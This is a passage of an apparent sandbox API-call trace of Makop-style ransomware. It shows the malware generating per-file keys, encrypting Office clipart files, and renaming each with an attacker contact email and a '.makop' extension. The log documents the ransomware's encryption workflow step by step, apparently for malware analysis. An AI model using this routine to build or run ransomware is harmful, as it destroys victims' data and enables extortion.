(lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153516.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0125.772] GetProcessHeap () returned 0x48a0000 [0125.772] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0125.772] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0125.772] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0125.772] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.776] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.776] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.776] GetProcessHeap () returned 0x48a0000 [0125.776] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0125.776] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0125.776] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.777] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0125.777] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0125.777] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0125.777] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0125.777] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0125.778] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.778] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.778] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.778] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.778] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1d08, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1d08, lpOverlapped=0x0) returned 1 [0125.779] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1d10, dwBufLen=0x1d10 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1d10) returned 1 [0125.780] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.780] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1d10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1d10, lpOverlapped=0x0) returned 1 [0125.780] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.780] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1de4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.780] SetEndOfFile (hFile=0xf0) returned 1 [0125.787] GetProcessHeap () returned 0x48a0000 [0125.787] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0125.787] GetProcessHeap () returned 0x48a0000 [0125.787] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0125.787] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0125.788] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153516.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153516.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0125.789] CloseHandle (hObject=0xf0) returned 1 [0125.789] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x30f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153518.WMF", cAlternateFileName="")) returned 1 [0125.789] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF") returned 63 [0125.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153518.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0125.790] GetProcessHeap () returned 0x48a0000 [0125.790] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0125.790] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0125.790] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0125.790] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.790] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.790] GetProcessHeap () returned 0x48a0000 [0125.790] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0125.791] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0125.791] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.791] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0125.796] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0125.796] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0125.796] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0125.797] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0125.797] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.797] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.797] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.797] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.797] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x30f0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x30f0, lpOverlapped=0x0) returned 1 [0125.799] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x30f0, dwBufLen=0x30f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x30f0) returned 1 [0125.799] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.799] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x30f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x30f0, lpOverlapped=0x0) returned 1 [0125.799] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.799] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x31c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.800] SetEndOfFile (hFile=0xf0) returned 1 [0125.807] GetProcessHeap () returned 0x48a0000 [0125.807] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0125.807] GetProcessHeap () returned 0x48a0000 [0125.807] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0125.807] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0125.807] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153518.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153518.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0125.808] CloseHandle (hObject=0xf0) returned 1 [0125.808] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x560, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0156537.WMF", cAlternateFileName="")) returned 1 [0125.809] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF") returned 63 [0125.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0156537.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0125.811] GetProcessHeap () returned 0x48a0000 [0125.811] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0125.811] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0125.811] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0125.811] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.811] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.811] GetProcessHeap () returned 0x48a0000 [0125.812] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0125.812] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0125.812] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.812] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0125.816] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0125.816] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0125.816] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0125.816] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0125.817] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.817] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.817] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.817] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.817] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x560, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x560, lpOverlapped=0x0) returned 1 [0125.817] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x560, dwBufLen=0x560 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x560) returned 1 [0125.817] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.817] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x560, lpOverlapped=0x0) returned 1 [0125.817] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.818] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x634, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.818] SetEndOfFile (hFile=0xf0) returned 1 [0125.825] GetProcessHeap () returned 0x48a0000 [0125.825] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0125.825] GetProcessHeap () returned 0x48a0000 [0125.825] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0125.825] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0125.825] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0156537.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0156537.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0125.828] CloseHandle (hObject=0xf0) returned 1 [0125.828] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb66e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0157167.WMF", cAlternateFileName="")) returned 1 [0125.828] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF") returned 63 [0125.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157167.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0125.830] GetProcessHeap () returned 0x48a0000 [0125.830] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0125.830] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0125.830] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0125.830] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0125.835] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.835] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.835] GetProcessHeap () returned 0x48a0000 [0125.835] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0125.835] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0125.835] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.835] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0125.835] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0125.836] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0125.836] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0125.836] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0125.836] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.836] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.836] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.836] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.837] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xb66e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xb66e, lpOverlapped=0x0) returned 1 [0125.839] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb670, dwBufLen=0xb670 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb670) returned 1 [0125.839] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.839] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xb670, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xb670, lpOverlapped=0x0) returned 1 [0125.840] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.840] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xb744, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.840] SetEndOfFile (hFile=0xf0) returned 1 [0125.848] GetProcessHeap () returned 0x48a0000 [0125.848] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0125.848] GetProcessHeap () returned 0x48a0000 [0125.848] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0125.848] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0125.848] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157167.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157167.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0125.849] CloseHandle (hObject=0xf0) returned 1 [0125.849] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x54d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0157177.WMF", cAlternateFileName="")) returned 1 [0125.849] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: 